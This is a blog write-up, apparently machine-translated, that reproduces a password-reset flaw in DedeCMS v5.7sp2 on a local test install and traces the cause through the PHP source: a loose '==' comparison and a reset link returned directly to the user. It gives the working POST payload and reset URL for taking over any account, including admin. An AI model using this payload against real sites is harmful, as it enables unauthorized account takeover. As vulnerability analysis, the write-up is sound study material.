[loophole recurrence] any user at the front desk of Zhimeng CMS modifies the password

Keywords: PHP Python security

1 reproduction environment

PHP 5.6
Decmsv5.7sp2 official version (January 9, 2018)

Reproduction process

According to gourd painting ladle, water a blog.
First download the source code of this version, and then unzip it. See the construction process for details This article
After the installation, I can't directly access the home page anyway. Let's enter the background home page first. The default user name is admin and the password is admin. then


Turn on the member function, otherwise we will not be able to access member.php
Then visit http://127.0.0.1/DedeCMS/member/index.php This depends on how many directories you have, and then register an account. The user name and password are test, and then log in and visit http://127.0.0.1/DedeCMS/member/resetpassword.php Then, use the hackbar, the thing given in the post document dopost = safequestion & safequestion = 0.0 & safeanswer = & id=4, but note that this id=4, At present, the website has only two users, admin and test. Therefore, if you want to change the password of admin, id=1 and test, id=2. After post, you can capture and replay

Visit this link, http://127.0.0.1/DedeCMS/member/resetpassword.php?dopost=getpasswd&id=2&key=GgTSGAkP pay attention to arp; Delete, get http://127.0.0.1/DedeCMS/member/resetpassword.php?dopost=getpasswd&id=2&key=GgTSGAkP You can find that we can change the password of the admin user (if the ID is 1). Of course, if it's just a reproduction, it's not difficult. Draw a gourd and ladle according to the gourd, so I choose to look at the source code + combined with online analysis articles to find out why there are loopholes here. First, look at the contents of resetpassword.php in the member folder, because payload is

dopost=safequestion&safequestion=0.0&safeanswer=&id=4

So notice

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("Sorry, your safety question or answer is wrong","-1");
        exit();
    }

Here, when dopost==safequestion, enter the judgment, and then look

if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

It is learned from other articles that in the dedecms database, if the user does not set a security problem, the safequestion stored in the database is "0" by default, and safeanswer is "null" by default. If you want the following judgment to be 1, you need to make both comparisons true, and the two equal signs are weak comparisons

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }

We can know by running php code online


Therefore, the safequestion we passed in is 0.0. If safeanswer is not filled in, it will empty it for us. Then the two ture can enter the sn function below
At this point, $mid = the id value we filled in,
Continue to follow up sn functions (inc_pwd_functions. PHP under Inc)

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //Send new mail;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //The new verification code can be sent again after 10 minutes;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //Resend a new verification code confirmation email;
    else
    {
        return ShowMsg('Sorry, please reapply in 10 minutes', 'login.php');
    }
}

Enter the newmail function and continue to follow up. Our $type is UPDATE. See UPDATE directly

elseif($type == 'UPDATE')
    {
        $key = md5($randval);
        $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                ShowMsg('EMAIL The modified verification code has been sent to the original mailbox. Please check it', 'login.php');
            }
            elseif($send == 'N')
            {
                return ShowMsg('Jump to the modification page later', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            ShowMsg('Sorry, modification failed, please contact the administrator', 'login.php');
        }
    }
}

Please note the above steps. In the sn function above, our $send has become N, so here we will go to the modify page later and return the url. Then we only need to access this url to successfully modify the password of any user. debug tomorrow and update the debugging process.

Posted by imperium2335 on Mon, 22 Nov 2021 21:51:36 -0800